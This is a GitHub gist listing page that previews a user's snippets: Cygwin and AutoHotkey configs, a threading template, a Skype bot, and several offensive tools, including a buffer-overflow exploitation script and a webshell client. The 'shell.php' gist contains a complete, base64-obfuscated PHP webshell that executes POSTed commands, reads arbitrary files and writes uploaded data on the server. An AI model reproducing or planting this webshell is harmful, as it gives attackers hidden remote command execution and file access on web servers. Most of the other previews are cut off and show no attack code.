Skip to content

Instantly share code, notes, and snippets.

@d4rkcat
d4rkcat / setup.ini
Created January 8, 2015 09:49
setup file for cygwin
This file has been truncated, but you can view the full file.
# This file is automatically generated. If you edit it, your
# edits will be discarded next time the file is generated.
# See http://cygwin.com/setup.html for details.
#
release: cygwin
arch: x86_64
setup-timestamp: 1420668740
setup-version: 2.859
@ a2ps
@d4rkcat
d4rkcat / AutoHotkey.ahk
Last active August 29, 2015 14:13
My autohotkey config file for console2
`::
DetectHiddenWindows, on
IfWinExist ahk_class Console_2_Main
{
IfWinActive ahk_class Console_2_Main
{
WinHide ahk_class Console_2_Main
WinActivate ahk_class Shell_TrayWnd
}
@d4rkcat
d4rkcat / multit.py
Last active August 18, 2016 03:42
multithread linux commands
#!/usr/bin/env python
# Multi-threading template
import argparse, subprocess, signal, Queue
from threading import Thread, Lock
from sys import stdout
from os import getpid, kill
class myThread (Thread):
def __init__(self, threadID, name, q):
#!/bin/bash
if [ $(whoami) != 'root' ] 2> /dev/null;then
echo ' [X] Need r00t!'
exit
fi
if [ $(cat /etc/group | grep sftpusers) -z ] 2> /dev/null;then
groupadd sftpusers
fi
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# skyb0t.py - Skype4Py bot
# by @d4rkcat github.com/d4rkcat
try:
import sys, os, subprocess, socket, time, Skype4Py, random, readline, re, pty, string, threading, signal
except ImportError as e:
print ' [X] Import Error: ' + str(e) + '\n\n [*] Please run:\nsudo apt-get install python-pip xdotool espeak;sudo pip install Skype4Py\n'
@d4rkcat
d4rkcat / stackflow.py
Last active August 29, 2015 13:56
Universal stack-based buffer overfow exploitation tool
#!/usr/bin/python
from socket import socket, SOCK_STREAM, AF_INET
from os import system, path as opath
from sys import argv, path
from argparse import ArgumentParser
from re import findall
parser = ArgumentParser(prog='stackflow', usage='./stackflow.py OPTIONS')
parser.add_argument('-r', "--rhost", type=str, help='rhost')
@d4rkcat
d4rkcat / shell.php
Created January 16, 2014 04:11
webshell for shellman.py
<?php eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsnY21kJ10pKXtzeXN0ZW0oJF9QT1NUWydjbWQnXSk7ZGllO30KZWxzZWlmIChpc3NldCgkX1BPU1RbJ3JwYXRoJ10pKXsKJGYgPSBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3JwYXRoJ10pO2VjaG8gJGY7ZGllO30KZWxzZSB7JHAgPSBmaWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTtmaWxlX3B1dF9jb250ZW50cygidGVtcHBwIiwgJHApO30K')); ?>
@d4rkcat
d4rkcat / shellman.py
Last active June 1, 2023 12:19
php webshell to bash like shell session.
#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
try:
from termcolor import colored
except:
print " [X] Please run this command to continue:"
print " [X]\033[1m apt-get install python-pip;pip install termcolor"
exit()
#!/usr/bin/python
import argparse, tarfile, os, random, string, urllib2
print ''' _ _ ___ ___
___| |__ __| |/ _ \ / _ \ _ __
/ __| '_ \ / _` | | | | | | | '__|
| (__| |_) | (_| | |_| | |_| | |
\___|_.__/ \__,_|\___/ \___/|_|
@d4rkcat
d4rkcat / dnsbrute.py
Last active December 29, 2015 19:39
Multi-threaded DNS brute-forceing
#!/usr/bin/python
import dns.resolver, signal, Queue, subprocess, time, argparse
from threading import Thread, Lock
from sys import argv, stdout
from os import getpid, kill
from socket import gethostbyaddr
class myThread (Thread):
def __init__(self, threadID, name, q):